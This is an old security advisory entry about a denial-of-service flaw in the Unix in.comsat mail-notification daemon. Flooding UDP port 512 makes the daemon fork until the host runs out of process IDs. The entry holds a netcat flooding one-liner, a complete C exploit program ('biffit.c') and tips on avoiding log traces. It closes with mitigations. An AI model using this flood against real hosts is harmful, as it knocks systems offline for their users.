COMMAND
in.comstat
SYSTEMS AFFECTED
Mostly systems with in.comstat enabled
PROBLEM
Andrew Hobgood posted following. In the continuing saga of UDP
ports sitting open on a machine, in.comsat can be exploited to
cause some pretty nasty problems.
For the uninitiated, in.comsat allows users who have set biff y
to recieve notification of new mail messages in their mail spool.
By sending UDP datagrams to port 512, in.comsat is started and
breaks up the contents of the datagram. The data sent is of the
format "username@linenum" where username is the user who is
recieving mail, and linenum is the location in the mail spool
where the new mail resides. Therefore, sending 'root@0' to port
512 will tell comsat to alert the user root that there is new
mail, and it'll echo up the first couple of lines (7 lines or 560
chars, I believe) to the user's screen if A) they're logged in,
and B) have biff set to y.
Now, the problem occurs when comsat fork()'s off (about line
221). It does this so it can handle multiple user mail reports
in a single comsat connection. Unfortunately, if you feed a huge
number of username lines very quickly to the open comsat, it'll
continue to fork() off things (which die quickly).
As many of you can figure out from here, this can be exploited
very easily over a LAN or from the local host. For instance, if
you have instated process quotas to prevent users from forkbombing
your machine, they can simply start up a few
yes 'root@0' | nc -u localhost 512 &
(which will allow them to run quite a few things before running
out of process space), but will open up a large enough stream of
garbage to comsat to make it fork() off ad infinitum. On Linux
machine, 3 or 4 of these open comsats is enough to make my system
load hit >20.
Even if each fork()'ed process lasts for a short time, there is
still enough bandwidth over a 10Mbps LAN (or T3 for that matter)
to cause a machine to run out of PID's, or force the system load
to climb higher and higher until it crashes.
Also, comsat does *NOT* log what is sent over the comsat
connection unless there is invalid data, such as the user doesn't
exist. Otherwise, the only log entry is a single
"in.comsat[PID]: connect from hostname". If you do this from
localhost, ESPECIALLY if it is preceded by some sort of mail
delivery (perhaps just fake a mail to somewhere on the machine,
or use the fun remote syslogging bug that we've all seen to fake
a sendmail connect), there is very little to indicate foul play.
'sygma' made exploit for BSD boxes (taken from rootshell):
/*
* filename: biffit.c
* author: sygma @undernet
* problem: in.comsat uses UDP, and forks, so just think about it. :)
* IT CAN cripple BSD boxes.
* fix: 'biff n' works well. [wouldn't want leetos hitting you]
* or vi /etc/hosts.allow and add "in.comsat: LOCAL"
* notes: I wrote this for a friend to show him something,
* I won't be held reponsible for the missuse most people do
* with this stuff. This is for Educational user only!
* tested on: Linux [slackware]
* FreeBSD 2.2.5-Stable
* NetBSD 1.2
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/wait.h>
#define MYPORT 512
int i;
int main(int argc, char *argv[])
{
int sockfd;
struct sockaddr_in their_addr; /* connector's address information */
struct hostent *he;
int numbytes;
char message[80];
if (argc != 3) {
fprintf(stderr,"usage: \n");
fprintf(stderr," %s [hostname] [username]\n",argv[0]);
exit(1);
}
if ((he=gethostbyname(argv[1])) == NULL) { /* get the host info */
herror("gethostbyname");
exit(1);
}
if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
perror("socket");
exit(1);
}
their_addr.sin_family = AF_INET; /* host byte order */
their_addr.sin_port = htons(MYPORT); /* short, network byte order */
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(their_addr.sin_zero), 8); /* zero the rest of the struct */
i=0;
sprintf(message,"%s@0",argv[2]);
while(1)
{
if ((numbytes=sendto(sockfd, message, strlen(message), 0, \
(struct sockaddr *)&their_addr, sizeof(struct sockaddr))) == -1)
{
perror("recvfrom");
exit(1);
}
i++;
if (i==10000) {printf(".");i=0;}
// fuck usleep(100);
}
close(sockfd);
return 0;
}
SOLUTION
Well, either A) prevent comsat from fork()'ing (only allow it to
handle 1 line at a time) or B) disable comsat all together.
'biff n' works well too or vi /etc/hosts.allow and add "in.comsat:
LOCAL". B) has its problems - see comstat #2.